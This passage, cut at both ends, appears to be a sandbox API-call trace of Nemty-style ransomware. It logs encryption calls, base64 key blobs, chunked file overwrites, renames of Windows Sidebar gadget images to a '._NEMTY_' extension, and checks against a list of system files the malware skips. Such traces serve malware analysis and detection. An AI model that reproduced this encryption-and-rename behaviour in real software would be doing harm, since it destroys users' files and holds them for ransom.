returned 11 [0124.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dialdot.png", lpUsedDefaultChar=0x0) returned 11 [0124.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0124.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0124.575] Sleep (dwMilliseconds=0x5) [0124.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfde6e970, dwHighDateTime=0x1d561e7)) [0124.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfde6e970, dwHighDateTime=0x1d561e7)) [0124.580] GetLastError () returned 0x5 [0124.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.580] GetLastError () returned 0x5 [0124.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.580] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0124.580] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0124.580] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0124.580] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="QhL3xN9Y2FOsnUw53rEDT7hX575nyDC/GupaNROuvAyvauKZhzBTNCBDZPKWAGSV\r\nXSiS7BPhtDScxWHjMhKfaovauRzRXYEoSBGMRHB0FEy/ZhB1sdObMYMvV4Uv0zEY\r\nWyQEWF1x7fQWamjHwnJ4nEcO2YYRiyajRBZCyhoblF8viNDxDuE/HqsyVzC5KUz/\r\nrxLOlubLpX/Rv+jHTcxjIv01xLWaTnxEPFmC0HCdecyw3WX0gYkez6m0+H9S1dTj\r\nJVZs0LaTI+REJE2769o6xIWNJ1Pa6yNT43BL+Bt/gmpKgg5zpktpV+h7fpXMzOWj\r\nVz3acDIkonr3+iF5agixkg==\r\n", pcchString=0x653e91c) returned 1 [0124.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0124.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0124.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0124.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0124.581] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.582] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0124.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0124.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.619] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.647] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.676] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0124.688] CloseHandle (hObject=0xffffffff) returned 0 [0124.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0124.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0124.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0124.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0124.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0124.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0124.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot.png._nemty_kgobjgd_")) returned 0 [0124.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0124.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0124.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0124.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0124.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0124.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0124.689] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29146b0f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="dialdot_lrg.png", cAlternateFileName="")) returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2=".") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="..") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="...") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="windows") returned -1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="$RECYCLE.BIN") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="rsa") returned -1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="NTDETECT.COM") returned -1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="ntldr") returned -1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="MSDOS.SYS") returned -1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="IO.SYS") returned -1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="boot.ini") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="boot.ini") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="AUTOEXEC.BAT") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="ntuser.dat") returned -1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="desktop.ini") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="CONFIG.SYS") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="RECYCLER") returned -1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="BOOTSECT.BAK") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="bootmgr") returned 1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="programdata") returned -1 [0124.689] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2="appdata") returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot_lrg.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0124.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot_lrg.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dialdot_lrg.png", lpUsedDefaultChar=0x0) returned 15 [0124.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot_lrg.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0124.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot_lrg.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dialdot_lrg.png", lpUsedDefaultChar=0x0) returned 15 [0124.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot_lrg.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0124.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot_lrg.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dialdot_lrg.png", lpUsedDefaultChar=0x0) returned 15 [0124.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot_lrg.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0124.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dialdot_lrg.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dialdot_lrg.png", lpUsedDefaultChar=0x0) returned 15 [0124.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0124.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0124.690] Sleep (dwMilliseconds=0x5) [0124.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfdf9f470, dwHighDateTime=0x1d561e7)) [0124.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfdf9f470, dwHighDateTime=0x1d561e7)) [0124.705] GetLastError () returned 0x5 [0124.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.705] GetLastError () returned 0x5 [0124.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.705] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0124.705] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0124.705] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0124.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0124.705] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="Un7pkTT2Oq6N3f8lKa5pSNDFzemLCrge70QDdapH64wOKrrZDJhzBXJNFki6U5z2\r\nTNAed28TLajPhXpQCjDqDZqxFnO6eRfj9PT5NtHEzf/sRuhSZ68AHpbxy1376u28\r\nl+hRW8ncPV1eeWwjR/9mY5AWLUa2vDDEiZS4D2QNoeCGgC4rnuCeMqZ81mz2tAcx\r\n79vxXiBQu2Fowc3Qx7fEWUd3DWYcFTGCLRyRiWruom1poWqZqb5tWvuH6JRmphFe\r\njZsyfMXLpArMCc8MU5xw+Qea3HZAUoJ+VZir2QhnzuZLLiYDTz/do044P32lf95+\r\nSu1YU8jeXBoELsckzeCbiw==\r\n", pcchString=0x653e91c) returned 1 [0124.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0124.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0124.705] HeapFree (in: 